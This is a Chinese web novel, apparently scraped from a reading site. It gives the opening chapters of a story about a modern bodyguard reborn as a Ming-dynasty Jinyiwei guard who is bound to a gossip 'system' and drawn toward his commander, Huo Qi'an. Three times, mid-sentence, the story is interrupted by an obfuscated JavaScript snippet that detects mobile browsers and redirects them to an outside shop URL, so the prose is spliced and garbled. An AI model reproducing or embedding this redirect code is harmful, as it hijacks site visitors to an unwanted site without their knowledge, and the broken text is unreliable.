《重生锦衣卫绑定吃瓜系统》 1. 天崩开局 “嘶!” 明显的痛感将何林秋唤醒,他茫然地睁开眼睛,入眼的是湛蓝的天空。突然一声惨叫传来,不知什么东西喷溅在脸上,浓重的腥味钻进鼻子,他抬起手抹了把脸上的东西,仔细一看竟是鲜红的血。这个世界突然像是被按了播放键,嘈杂的声音当即钻进耳朵,他忍着疼坐起身,可入眼的一幕却让他愣在当场。 地上横七竖八躺着不少人,鲜红的血染红地面,比夏日的阳光还要刺眼。身穿古代服饰的男子拿着染血的兵刃,正在一具一具地翻着尸体。 “这是哪儿?我不是在执行任务吗?” 何林秋曾是一名特种兵,在一次执行任务时身负重伤,无奈之下只好退伍返乡。此后,他创办了一家保镖公司,经过十年的奋力拼搏,该公司发展成为全国规模最大的保镖公司。 一个月前,他接到了一项S级任务,需前往M国,护送生物医药领域的专家黄鹤年回国。起初一切进展顺利,但在前往机场的途中,他们不幸遭遇恐怖袭击。为了确保任务顺利完成,何林秋毅然假扮成黄鹤年,吸引恐怖组织注意,最终不幸被一枚火箭炮击中…… “指挥使,平南王府所有人已被悉数拿下。” 洪亮的声音打断了何林秋的思绪,他抬起头,首先映入眼帘的是一双锐利而冷漠的眼睛。那眼睛扫过地上的尸体,仿佛在看砧板上的鱼肉,透露出一种视人命如草芥的冷酷。 痛感愈发剧烈,何林秋低头看向自己的肩头,那里赫然有一道触目惊心的刀伤,长约二十公分,鲜血已经浸透了厚重的衣衫。 杀意!何林秋敏锐地察觉到一丝杀意,不远处的房顶上潜伏着一名弓箭手,目标正是那个眼神冷冽的男人。 “小心!” 何林秋纵身跃起,挡在男人面前,皮肉被撕裂的声音清晰地传入耳中。他低头望去,只见一支弩箭穿透胸膛,鲜血瞬间喷涌而出。眼前的景象逐渐褪成黑白,世界仿佛被按下消音键,何林秋的身体失去支撑,缓缓往后倒下。 霍齐安扶住他倒下的身子,袖中暗藏的弩箭疾射而出,房顶上的杀手发出一声惨叫,再无动静。他的目光冷冷地转向秦冒,语气冰寒:“这就是你所谓的‘全部拿下’?” 秦冒单膝跪地,低头请罪:“属下失察,恳请指挥使责罚。” “彻底清扫余孽,若有一人逃脱,你便提头来见!” “遵命!”秦冒暗自松了口气,躬身退后两步,旋即转身离去。 霍齐安低头看向何林秋,他脸色惨白,唇色泛青,弩箭插在胸口,鲜血不住地往外流,如此伤势,一个弄不好便是性命之忧。再看向肩上的刀伤,明明已经受了重伤,竟还如此奋不顾身…… 霍齐安弯腰将其抱起,扬声说道:“去请太医!” “是,指挥使。” 何林秋做了一个冗长而深沉的梦,梦中他化身为大明朝淮安伯府的庶出公子。他的生母原本是淮安伯的通房丫鬟,在诞下他之后,才被擢升为妾室。然而,由于生母的低微身份,他们母子在伯府中的生活异常艰辛,不仅时常遭受他人刁难,还常常食不果腹、衣不蔽体。他如今所拥有的这份差事,是他生母用命换来的。 疼,很疼!这种皮肉被撕裂的疼,何林秋再熟悉不过,能成为金牌保镖,是他用命拼出来的,受伤是家常便饭。尽管这一切令人难以置信,但在他醒来的瞬间,他便意识到这并非拍戏,而是真真切切的杀戮。空气中弥漫着浓烈的人血气息,是一层又一层的人血,堆积在一处的味道,由此他断定自己穿越了。 他之所以冲上去挡箭,是权衡之后的选择。他常年行走在生死边缘,直觉告诉他那个男人很危险,犹如在山林中漫步的猛虎,冷眼俯视着猎物,生死尽在他一念之间。这种人漠视生命,难以接近,但一旦获得其信任,便能获得他的庇护,这是何林秋挺身挡箭的其中一个原因。其二,他骤然穿越至此,对周遭环境极为陌生,极易露出破绽,亟需时间缓冲以做出应对,而重伤恰好为他提供了这一机会。事实证明,他的赌注押对了,那并非梦境,而是这具身体残留的记忆。 意识逐渐复苏,何林秋虽未睁开双眼,却已能感知到周遭的环境。最先恢复的是嗅觉,除了自身散发出的血腥气息,还有一股宜人的檀香弥漫。 “檀香?这里并非伯府。”何林秋不由得在心中暗忖。 坐在榻上阅读的霍齐安抬起眼眸,望向床上的何林秋,见他双目紧闭,不禁微微皱眉,方才明明听到了声音,难道是错觉? “有呼吸声,房内还有旁人,会是谁呢?”嗅觉恢复之后,何林秋的听觉也随之苏醒。 霍齐安凝视着何林秋,他方才分明没张嘴,可自己切切实实地听到了他的声音,这是何故? “好累!看来伤得不轻,不知道会不会留下后遗症。”何林秋短暂地恢复意识后,又一次陷入了昏迷。 霍齐安听到这话,已然确定发声者正是床上的何林秋,然而他自始至终未曾张嘴。若这并非幻听,那究竟是怎么回事? 霍齐安起身走到床前,仔细端详着何林秋。他面容俊秀,眉目如画,透着一股柔美之气,再加上此刻的病态,若非亲自为他换药,目睹了他的身体,定会误以为他是女扮男装。 霍齐安弯下腰,轻触他的额头,发现相较于之前的滚烫,如今已明显退烧。正如他所言,伤势极为严重,连御医都断言无救,然而他在高烧七日后,竟奇迹般地挺了过来。 “来人,请御医。” “是。” 半个时辰后,门外传来通禀,“大人,御医到了。” “进来。”霍齐安依旧专注地翻阅着手中的书籍。 房门缓缓推开,御医王兴和背着药箱步入屋内,走到近前,恭敬地行礼道:“下官见过指挥使。” “免礼。”霍齐安抬眼,淡淡地瞥了何林秋一眼。 “谢指挥使。”王兴和躬身退后两步,旋即转身走到床前,为何林秋把脉。 一盏茶后,王兴和起身,来到霍齐安面前,再次躬身禀报道:“指挥使,伤者已脱离生命危险,然而伤及心脉,需用上等补药,悉心调养一段时日,否则恐怕会留下病根。” “留下病根?”霍齐安抬眸。 王兴和心头一震,如实答道:“他伤势过重,已损及根本。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960896|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “所需药材,一并开具清单。”霍齐安吩咐道。 “遵命,指挥使。”王兴和恭敬应答。 王兴和稍作等待,见霍齐安再无其他吩咐,便恭敬地退下。随后,他跟随侍从来到侧间,提笔书写药方,交付侍从,并仔细叮嘱了一番,这才背着药箱离开霍府。 登上马车后,王兴和瞥见车内坐着的人,不禁皱起眉头,放下帘子,不悦地问道:“你不在家中待着,来这里做什么?” 车上坐着的正是王兴和的女儿王诗诗。作为家中的嫡长女,她出落得貌美如花,曾与平南王庶子朱战勤订有婚约。然而,一个月前朱战勤突然暴毙,两人的婚约也随之解除,王诗诗这才勉强躲过一劫。为了避免节外生枝,王兴和严令她在府中禁足,没想到她竟如此大胆,擅自来到霍府。 王诗诗恭敬地答道:“父亲,母亲病了,特命孩儿前来请您回府。” 王兴和的面色愈发阴沉,沉声道:“家中的下人都死了?非要你这个小姐亲自出府寻人?” “父亲深知女儿,若非情势所迫,女儿绝不会违逆父亲。”王诗诗垂首,始终保持着恭敬的姿态,语气却坚定而不失礼数。 王兴和沉默不语,目光落在对面的王诗诗身上,眼中迅速掠过复杂的情绪。过了许久,他才缓缓移开视线,靠在车厢上闭目养神。王诗诗抬眸瞥了一眼,眼神深邃,令人难以捉摸。 “父亲,朱战勤未死。”王诗诗语气平静。 王兴和猛地睁开双眼,眼神锐利如刀,仿佛要将王诗诗看穿,与在霍齐安面前的毕恭毕敬相比,简直判若两人。他压低声音,质问道:“你可知自己在说什么?” 王诗诗面色沉静,然而她紧握衣摆的手却泄露了内心的波动,说道:“父亲,女儿所言属实。” “不可能!”王兴和压低嗓音,语气中透着难以置信,“当初我亲自为他诊治,确诊他已死亡,绝无可能还活着。” 王诗诗从袖中缓缓取出一张字条,递给王兴和,道:“父亲,请过目。” 王兴和展开字条,目光触及内容,脸色骤变,急切地追问道:“你是何时收到的?” 王诗诗如实答道:“半个时辰前,女儿在房中看书,突然射来一支弩箭,箭上绑着这张字条。” 王兴和盯着王诗诗,将那张字条塞进嘴里吞了下去。 霍府书房,秦冒推门走了进去,走到近前,行礼道:“主子,下面来报,今早有人暗中与王诗诗传信。” “传信的人是谁?” “跟丢了。” “嗯?”霍齐安的语气虽淡,却令人心惊胆战。 秦冒单膝跪地,道:“是下面的人办事不力,还请主子恕罪。” “每人领二十鞭。” “是,属下领罚。” “王诗诗收到密信,作何反应?” “约莫一炷香前,她于府门外登上王御医的马车,现已随王御医返回府中。” “继续严密监视,务必查明传信之人。” “是,属下即刻去办。” 秦冒刚走,霍齐安便听到通禀,“主子,何公子醒了。” 2. 吃瓜系统 “叮,欢迎绑定吃瓜系统,我是吃瓜系统猹猹。” 何林秋刚恢复意识,脑海中突然响起一个奶声奶气的声音,“系统?难道我伤得太重,出现幻听了?” “主人。”那奶声奶气的声音再次响起,听起来有些闷闷的。 与此同时,何林秋的脑海中出现了一个毛茸茸的球,凌空滚了两圈。一只粉红色的小爪子从球中伸出,紧接着是第二只、第三只、第四只,最后才露出一个胖嘟嘟的小脑袋。小家伙晃了晃脑袋,头顶探出尖尖的耳朵,背后还钻出一对翅膀,毛茸茸、粉嫩嫩的样子,可爱极了! 小家伙似乎是折腾累了,小翅膀一收,一屁股坐下来,气喘吁吁地说:“主人,你不是幻听哦,猹猹存在于主人的意识中,与主人心意相通,主人想什么,猹猹都知道哦。” “那我岂不是没了隐私?” “主人放心,猹猹还是个宝宝,不会看那些色色的东西哦。”小家伙边说,边抬起小爪子捂住眼睛。 “你看没看,我怎么知道?万一你就是个小色/鬼呢。” 小家伙一只爪子叉腰,另一只爪子指着何林秋,气呼呼地说:“你才是小色/鬼,你们全家都是小色/鬼!” “难道你不是?” “当然不是!” “那你怎么证明?” 小家伙愣了愣,抬起小爪子挠了挠头,说:“你也没做色色的事,要我怎么证明?” 何林秋强迫自己不去胡思乱想,不让这个所谓的系统洞悉自己的真实想法,无论这个系统是什么,他都不允许自己被人窥视。好在这个系统不怎么聪明,他要尽量套话,为自己争取最大化的利益,“我说你是,你说你不是,当然是你要证明给我看,怎么还问我?” “说得好像没错。”小家伙圆溜溜的眼睛里闪烁着单纯的光,“可是你没做色色的事,我要怎么证明?” 何林秋好歹是现代人,虽然没怎么看过小说,却也大概知道系统是怎么回事,“别人的系统都是无所不能,你竟然连证明自己都做不到,啧啧。” “谁说我做不到!”小家伙气得瞪圆了眼睛,“你凭什么看不起我!” “那你证明给我看。” “证明就证明。”小家伙挥了挥小爪子,顿时有一段屏幕出现在眼前,它在上面点了几下,却在点击确认的时候犹豫了。 何林秋看得清楚,它在设置权限,是宿主可以随时屏蔽系统的权限,“如果做不到,就直说,承认不如别人,很难吗?” 小家伙一听,当即就点了确定,恼道:“我是最棒的、最厉害的系统!” 见它点了确定,何林秋暗自松了口气,说:“既然你说你是最棒的、最厉害的系统,那你倒是说说,你都有什么作用,哪里最棒了?” “我是吃瓜系统,只要你吃到瓜,就能获得积分,有了积分,就能在商城里兑换物品。”小家伙说着打开了商城。 何林秋仔细浏览着商城里的商品,发现和游戏商城里的东西类似,有具体的物品,吃的用的穿的,应有尽有;也有看不见摸不着的能力,比如幸运值,武力值等等。 “怎么样,是不是很心动?”小家伙傲娇地斜睨着何林秋,“只要宿主有足够的积分,这些东西就都是宿主的。” 何林秋哪能让它牵着鼻子走,故作嫌弃地说:“这是什么时代?是皇权至上的封建社会,不仅人命如草芥,医疗技术还不发达,我才刚来就差点丢了小命。没了命,我要这些又有什么用?你送我回去。” “宿主在原世界已经死了,要想回去,只能借尸还魂,而还魂丹的价格是十万积分,所以宿主必须多多做任务,获取积分。” “十万积分?你怎么不去抢!”何林秋瞧小家伙一脸得意,不禁有些好笑,“既然这样,那就躺平吧,早死早超生,免得提心吊胆地受罪。” “那怎么行!”小家伙急了,一骨碌站了起来,“你……你怎么能躺平呢?你躺平了,我怎么办?” “我躺平,跟你有什么关系?” “当然有关系!”说到这儿,小家伙突然住了口,大眼睛滴溜溜乱转,一改方才的焦急,谄媚道:“宿主,你在这个世界的身份是锦衣卫,工作内容跟现代的狗仔类似,最方便吃瓜了,吃到瓜就有积分赚,赚了积分就能在商城购物,商城那么多好东西,那绝对是物超所值!” “我不爱购物。” “积分也可以兑换成货币,任何世界的货币都可以兑换。”见何林秋有些心动,小家伙决定再接再厉,“这样吧,你以后每完成一个吃瓜任务,我都给你一个额外奖励。” “什么额外奖励?你得落到实处,我可不吃画饼那一套。” 小家伙纠结了一瞬,咬牙道:“那就每次多加十个积分。” “一百个。” “一百个?你怎么不去抢!一百个不行,最多二十个。” “一百个就是一百个,否则免谈。” 小家伙皱着小眉头,气呼呼地瞪着何林秋,自从它接单以来,合作过三百八十八个宿主,何林秋绝对是最难缠的一个,“好吧,一百就一百。” 何林秋见状,差点憋不住笑,“对了,别人做任务之前,都给一个新手大礼包,或者来个十连抽,身为最棒、最厉害的系统,不会没有吧。” “有!”小家伙咬牙打开了操作面板,红色的抽奖按钮顿时映入眼帘,“奖励抽奖一次。” “才一次,你不行啊。” “你你你!”小家伙被气得不轻,却突然反应过来,“你在对我用激将法!你太坏了!” 何林秋见状,试着在脑海中想象点击按钮,没想到画面竟真的发生了改变,快速转动起来。 “你你你,你偷袭!”小家伙气愤地指着何林秋,“你卑鄙无耻下流!” “是你说要送我一次抽奖,我怎么就卑鄙无耻下流了?我这么做是为你好,不然你就得落得个出尔反尔的名声,那你在系统界还怎么立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960897|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足。” “说得好像有点道理。”小家伙天真地眨了眨眼睛,“算了,这次就当送你的,反正就是一次抽奖,就你这早死的命,想来也没什么好运气。” 话音刚落,不停转动的画面定格,待看清上面的内容,小家伙的眼睛瞬间瞪圆了,惊愕道:“怎么可能是S+的奖励?” “可以向任意人输送任意心声。”何林秋读着面板上的文字,“系统,发挥你作用的时候到了,你来解释一下这是什么意思。” 系统闻言,转向何林秋,眼神幽怨,仿佛谁抢了它一百万,不情不愿地解释上面的内容,随后奇怪地问:“你的运气这么好,怎么会早死呢?” 何林秋消化了小家伙的解释,笑着问道:“运气好和早死有什么必然联系吗?” 小家伙被问得一愣,随即讪讪地撇过头,小声吐槽道:“阴险狡诈的人类!” 小家伙存在于他的意识当中,它说什么做什么,他一清二楚,不禁有些好笑,只觉得它蠢萌蠢萌的,还挺可爱。何林秋睁开眼睛,打量着四周的环境,高床软枕锦被,就连床帐都是上好的绸缎所制。桌上放置着香炉,青烟缥缈,如梦似幻,香味典雅,留香持久,是上好的檀香,有静气凝神的作用。 意识一旦清醒,五感便会恢复,疼痛也随之而来,肩上的伤、胸口的伤,以及火辣辣的嗓子,疼得何林秋直皱眉。他想起身,去倒杯水,可身体虚弱地动都动不了,尝试着开口喊人,嗓子又哑得说不出话,还真是受了大罪。好在看守的人进来查看情况,让他不至于被渴死。 “你是谁?这是哪儿?”何林秋试了好几次,终于开了口。 “奴才叫陶旺,这里是霍府,是主子把公子带来的。” “霍府?”何林秋脑海中闪过霍齐安的脸,佯装惊愕地说道:“这是指挥使的府上?” “正是。公子伤得很重,主子叫来了太医为公子诊治。” “这如何使得,保护指挥使是我职责所在,怎敢劳烦指挥使。”何林秋掀起被子就要下床,结果刚撑起身子,两眼一黑又倒了下去。 陶旺急忙去扶,关切地说道:“公子,您重伤在身,需要卧床静养。公子,公子……” 陶旺见何林秋又晕了过去,慌张地嘀咕道:“完了,完了,这下免不了罚了。” 就在这时,房门被推开,霍齐安走了进来。陶旺小心安置好何林秋,‘扑通’一声跪倒在地,道:“主子,奴才办事不力,请主子责罚。” 霍齐安瞥了他一眼,看向床上的何林秋,见他双眼紧闭,眉头微蹙,问道:“怎么回事?不是醒了吗?” “回主子,方才公子确实醒了,可听到这里是霍府,便说保护主子是他职责所在,不敢劳烦主子,于是起身要走。可公子伤重,刚起身就晕了。”陶旺匍匐在地,“是奴才办事不力,请主子责罚。” 霍齐安沉默地看着何林秋,等了好一会儿,也未听到其他声音,道:“拿我的牌子,去请御医。” 3. 好男风? 何林秋再次恢复意识时,又过去一日,这次最先恢复的是味觉,苦涩的味道充斥口腔,胃里顿时翻江倒海,不由一阵干呕。 “好苦!我在吃什么,黄连吗?” 何林秋在心里想道。 又是那个声音,翻书的手微微一顿,霍齐安抬起眼眸,望向床上的何林秋。只见他眉头紧锁,面露苦色。而坐在床边的陶旺,正全神贯注地给他喂药。显然,陶旺并未听到刚才的说话声,否则断不会毫无回应。 霍齐安合上书,随手扔到桌上,起身走到床前,示意陶旺让开。陶旺愣了愣,随即起身让开床边的位置,并将药碗递了过去。霍齐安将一勺汤药送到何林秋嘴边,随后捏着他的下巴喂进去,动作粗鲁至极,成功将他呛醒了。 “这是什么新型的杀人方式?是怕我死不了,想呛死我?” 这个声音又来了!这次霍齐安确定何林秋并未开口,因为他正捏着他的下巴。霍齐安松了手,何林秋被呛得不停地咳嗽,又因扯动伤口,疼得皱紧了眉头。 “如果想让我死,干脆给我一刀,这么折磨算什么?” 霍齐安的嘴角微微上扬,虽然幅度很小,却看得陶旺愣在当场,忍不住揉了揉眼睛,小声嘀咕道:“我莫不是眼花了。” 何林秋缓缓睁开眼睛,第一眼看到的就是霍齐安,他的存在感太强,而且十分危险,很难忽视。 “他是谁?”何林秋忍不住在心里想道。 “锦衣卫指挥使霍齐安。”猹猹的声音在脑海中响起,“也是你的任务目标之一。” “锦衣卫指挥使?”何林秋瞬间回了神,下意识起身,却忘了身上有伤,刚起身又是两眼一黑,身子不由自主地往后倒,一阵儿头晕耳鸣后,何林秋再次睁开了眼睛,发现自己靠坐在床头,身后是柔软的靠枕。 “刚才是怎么回事?我什么时候坐起来的?”何林秋有些发懵,忍不住在心里想道。 “宿主,刚才是霍齐安扶住了你。” “看来并非假装,他确实病得很重。”霍齐安端起药碗,递给何林秋,“你伤势过重,又昏睡多日,身子虚,不宜乱动,把药喝了。” “谢大人。”何林秋伸出右手去接药碗,扯动肩上的伤口,忍不住皱了皱眉,于是换了左手,看着碗里黑漆漆的汤药,嘴里一阵阵泛着苦味,咬牙灌了下去。 “好苦!不行了,想吐。”何林秋忍不住在心里哀号。 陶旺奉上漱口水,何林秋接了过来,咕咚咕咚喝了两口,见陶旺手里端着的痰盂,顿时明白了怎么回事,不禁尴尬地双脚抠地,忍不住在心里想道:“我现在晕过去还来得及吗?” “他这是想装晕?”霍齐安挑了挑眉,眼中闪过笑意。 陶旺听不到何林秋在想什么,在短暂的愣神后,急忙拿走痰盂和漱口水,就当刚才的事从未发生过。 “哈哈哈!笑死我了!宿主,你也有今天,让你欺负我。”猹猹笑得直打滚,“这就叫‘善有善报恶有恶报,不是不报时候未到’,哈哈哈。” 何林秋没工夫搭理这个幸灾乐祸地小家伙,应付面前这个盯着自己的危险人物,才是他的首要任务,“叨扰大人多日,属下实在惶恐。” “虽然……但是……嘴里还是好苦。”何林秋这人最怕苦,但凡带点苦味的东西都不吃,就算生病了,他也是能抗则抗,抗不了就吃儿童用药,再不行就打针,坚决不吃一点苦。 “大男人,怎的和女子似的,这般怕苦。” 霍齐安扫了一眼桌上的糕点,又看了陶旺一眼。陶旺愣了愣,随即将糕点端了过来。霍齐安淡淡地开口,“吃些糕点。” “啊?”何林秋有些跟不上节奏,瞧了瞧盘子里的糕点,又小心翼翼地瞥了霍齐安一眼,伸手去拿糕点,忍不住想道:“不会有毒吧?” “不吃?” 霍齐安的语气很淡,听不出任何情绪,可何林秋却敏锐地察觉到危险。他急忙咬了一口,淡淡的甜味带着果香,是他喜欢的味道,忍不住又咬了一口,道:“多谢大人。” “这个糕点味道还不错。” 霍齐安看了一眼糕点,是祥福楼的凤梨酥,平时吃惯的点心,并不觉得有多好吃。不过,他回想何林秋的资料,也就释然了,何林秋的生母出身卑贱,母子俩在伯府过得格外艰难,衣不蔽体,食不果腹,这些点心与他们而言确是奢侈。 “大人,属下不敢叨扰,今日便回伯府养伤。” “宿主,霍齐安是锦衣卫指挥使,留在他身边,可以随时随地吃瓜,赚积分就像喝水一样简单,你为什么要走?” “他是霍齐安!危险程度S级,留在他身边,就是把脑袋拴在裤腰带上。我可是刚在阎罗殿里转了一圈,还不想英年早逝。” 在没弄清楚这是怎么回事之前,不能放他离开。霍齐安淡淡地开口,“你伤势过重,不宜挪动。” “属下自觉伤势已有好转,不便再叨扰大人。况且,数日未归,家中定然挂念,属下想早日回去。” “你重伤昏迷十日之久,淮安伯府无一人问津。” 这话也太伤人了!何林秋抬手捂住胸口,心脏一抽一抽地疼,这是原主的情绪。 霍齐安见他脸色又白了几分,不禁在想自己的话是否说得太重,“你安心养伤,不必多想。” “这么重的伤需要专人照顾,还需要一天三顿地吃药,就伯府那些人的德性,让他们给我花钱请大 夫,跟要他们的命没区别,还是先在这儿养伤吧。”何林秋思索再三,决定留下,“那就多谢大人了。” “懂得审时度势,还算聪明。”霍齐安开口问道:“当日你为何要为我挡箭?” “这是在试探我?这人的疑心病还真不是一般的重,我冒死救他,他还怀疑我,果然是个危险人物!”何林秋垂下眼眸,恭敬道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960898|193301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属下保护大人是职责所在。” “你觉得我躲不开那支箭?” “他这是在给我挖坑呢。我如果说是,那就是在说他能力不行;如果说不是,那就是明知道他能躲过去,我还为他挡箭,是别有居心。”何林秋不敢怠慢,答道:“属下当时并未多想,心中只有一个念头,大人身份尊贵,不可伤及分毫。” “思维缜密,应对得当,是个聪明人。”霍齐安沉默片刻,接着说道:“你可有事瞒我?” “这话问的,我们就是单纯的上下属关系,彼此不知道的事多了去了,用‘瞒’这个字不太好吧。”何林秋小心翼翼地抬眸,问道:“属下愚钝,还请大人明示。” 不只何林秋奇怪,就连陶旺也是,偷偷瞧了霍齐安一眼,心道:“主子这话问的,怎么听着不太对劲儿?” 霍齐安眉头微蹙,也觉得方才问了个蠢问题,道:“你可会背叛我?” “他平时说话都这样吗?谁会蠢到回答‘会’?”何林秋忍不住在心里吐槽,“属下誓死追随大人,为大人马首是瞻。” “但愿你说到做到,否则……”霍齐安起身,径自离开客房。 “他生气了!”何林秋不解地皱起眉头,回想刚才两人的对话,“我哪里说得不对吗?好像没有吧,那他为什么生气?” “生气?”霍齐安并未离开,就站在房门口,“他不只聪明,还极其敏锐,就连我都未曾意识到自己生气。这样的人不留在身边,还真让人放心不下。” 陶旺瞧何林秋的神色,以为他被霍齐安吓到,出声宽慰道:“公子莫怕,我家主子就是刀子嘴豆腐心,自从公子被送进府,几乎日日来探望公子,在这儿一坐就是一个时辰。” “一坐就是一个时辰?他这是想干嘛?锦衣卫指挥使不应该很忙吗?”何林秋心里这么想,嘴上却不能这么说,“大人真是有心了。” 其实陶旺也对此感到奇怪,霍齐安天性凉薄,除了过世的夫人,对谁的态度都一样,却对一个下属这么上心,不仅给他请太医,各种珍贵药材如流水般送进院子,还日日过来守着。 “公子舍命相救,这些都是公子应得的。” 除了这个理由,陶旺想不到别的,总不能是霍齐安看上何林秋了吧。想到这儿,陶旺愣了愣,看向何林秋的眼神变得古怪。霍齐安今年二十有六,换成别家的儿郎,儿子早就能打酱油了,可霍齐安莫说成亲,身边连个女人都没有。 “难不成我家主子……好男风?”陶旺忍不住犯起了嘀咕。 “一个时辰吗?”门外的霍齐安紧锁眉头,他只是想揭开何林秋身上的谜团,并非真心在意他的生死。做锦衣卫多年,他见识过各式各样的人,他们总是戴着层层假面,面对不同的人便展现不同的面孔,需费尽心思才能洞察其内心。然而,何林秋却成了例外,他……竟能听到他的心声,他必须弄明白这究竟是怎么回事。 4. 弓硬上霸王 “叮,鉴于宿主迟迟不肯做任务,系统强制下发。请在二十四小时内,完成吃瓜霍齐安的任务,否则将接受电击惩罚。” 何林秋正睡得香,脑海中突然响起猹猹的声音,被吓了一跳。他睁开眼睛看向窗口,外面漆黑一片,不禁一阵无语,没好气地说:“大半夜的,你是有什么大病吗?” “宿主来这个世界二十三天了,至今一个任务都没完成。” “来这儿二十三天,十五天在昏迷,剩下的八天在卧床养病,你让我这个走路都困难的病号,吃哪门子瓜?是嫌我死得不够快?”何林秋给气渴了,小心翼翼地起身下床,给自己倒了杯水。 “说得好像也没错。”猹猹挠了挠小脑袋,只是想到最近没积分到账,就抓心挠肝的难受,圆溜溜的眼睛转了转,诱惑道:“可现在有瓜吃啊,现成的积分,宿主不要吗?” 何林秋喝了几口水,润了润有些发涩的嗓子,说:“猹猹,你对我是不是有什么误解?” 猹猹被问得一愣,一脸茫然地问:“有什么误解?” “我两世加起来的年纪是五十,不是十五。天上掉馅饼的事,你以为我会信?” 这里可是锦衣卫指挥使的府邸,特务头子的老巢,在这里的吃瓜那就是打着灯笼上茅厕——找屎,这个猹猹绝对没安好心。 “不是,我没骗你,确实有瓜,保证没有危险!” “不信!”何林秋放下水杯,慢悠悠地往床边走,“现在是深更半夜,但凡这时候有瓜吃,都不会是什么好瓜。更何况这里是霍齐安的府邸,S级危险人物,我躲还来不及,怎么可能往上凑。” 自他醒来,霍齐安每日雷打不动地来这儿坐一个时辰,多数时候是坐在榻上看书和处理公务,只是偶尔问他几句。何林秋被他搞得满头雾水,不得不强打精神应对,搞得他心力交瘁,每日想的都是怎么离开霍府。只是无论他怎么说,霍齐安就是不肯放人。以至于每日三顿的好药下肚,伤势却恢复缓慢。 “宿主,如果二十四小时内你没能完成任务,将接受电击惩罚哦。”猹猹用奶奶的强调,说着威胁人的话。 “电击就电击,总好过小命不保。”何林秋又慢悠悠地躺上床,刚才还只是想想,现在是打算摆烂到底了。 猹猹一听顿时急了,“宿主,电击很疼的,而且持续十秒,你还是去做任务吧。” “电击而已。在上个世界,一次执行任务,去精神病院卧底,几乎天天被电击,那点疼痛不算什么。” 猹猹无语了,自己跟过那么多宿主,何林秋是其中最不听话、最会摆烂、最贪生怕死的。它还真拿这个死猪不怕开水烫的宿主没辙。 “只要宿主肯去做任务,完成任务后,我送宿主一次抽奖。”威胁不成,又开始利诱。 何林秋闻言,心里一喜,面上却不显,说:“还是算了吧,我怕任务完不成,没命抽奖。” “这可是在霍齐安面前刷好感的好机会,宿主真的不要?” 何林秋死咬着不松口,为自己谋取最大利益,反正急得不是他,“你就说到底有什么瓜,我再考虑去不去。” “宿主,你得亲自去吃瓜,任务才算完成,你让我跟你说,那不是作弊吗?” 瞧猹猹一副生无可恋的模样,何林秋差点憋不住笑,语重心长地说:“猹猹,你要搞清楚,是你求我去做任务,不是我求你。你求人,不得有求人的态度嘛。” 猹猹两腿一软,径自趴了下来,哀号道:“让我死了吧!我要申请换宿主!” 何林秋眼观鼻、鼻观心,凝神静气,就怕忍不住笑出声,说:“那你说不说,不说,我可睡了。” 猹猹纠结的小脸都皱成了包子,到底还是被何林秋忽悠瘸了,“我说。霍齐安身边没出现过女人,怀远侯府那边担心他好男风,找理由让霍齐安的表妹住进霍府,今晚他表妹要给他下药,打算生米煮成熟饭。” “他表妹是谁啊,这么勇的吗?”何林秋顿时来了几分兴趣。 “现在是讨论这个的时候吗?你赶紧去吧,待会儿他表妹就要得逞了,你的积分和抽奖可就没了。” “不就是吃瓜嘛,跟她得不得逞有什么关系,为什么积分就没了?”霍齐安是什么人,这么低劣的手段,不可能让人这么算计。就算他马失前蹄,阴沟里翻了船,也不是个能任人拿捏的主儿。 “哪有那么多为什么?事实就是,如果她得逞了,不但积分没了,宿主还会被电击。” “那你有没有想过现在是深更半夜,我一个卧病在床,走路都不利索的人,以什么理由去霍齐安的院子,进霍齐安的卧房?”何林秋停顿片刻,接着说道:“解决不了这个问题,就算我去救了他,他也只会怀疑我,甚至会认为之前我舍命救他,也是预谋。” “这个……”猹猹被问住了,下意识地挠了挠小脑袋。 何林秋见状,两手一摊,“这可不是我想摆烂,是现实不允许。” 任务是要做的,便宜是要占的,让这个不怎么聪明的系统帮他完成任务,能降低执行任务的风险,相当于给他这条小命上个安全险,简直百利无一害! “不就是理由嘛,我给你!”猹猹咬牙切齿地说:“府中的小厮曹福是安王的人,昨天安王刚给他递了消息,让他去书房偷拿霍齐安的印信。” 何林秋在脑海中搜索有关安王的信息,安王朱至辉是皇帝朱至榛的亲弟弟,平南王朱昭谋逆的证据就是他给霍齐安的,如今他又派人来偷霍齐安的印信,是想做什么? “他一个小厮怎么偷拿印信?猹猹,你短剧看多了吧。” “这个你别管,你就说曾经看到曹福与安王身边的护卫偷偷见过面就成。” 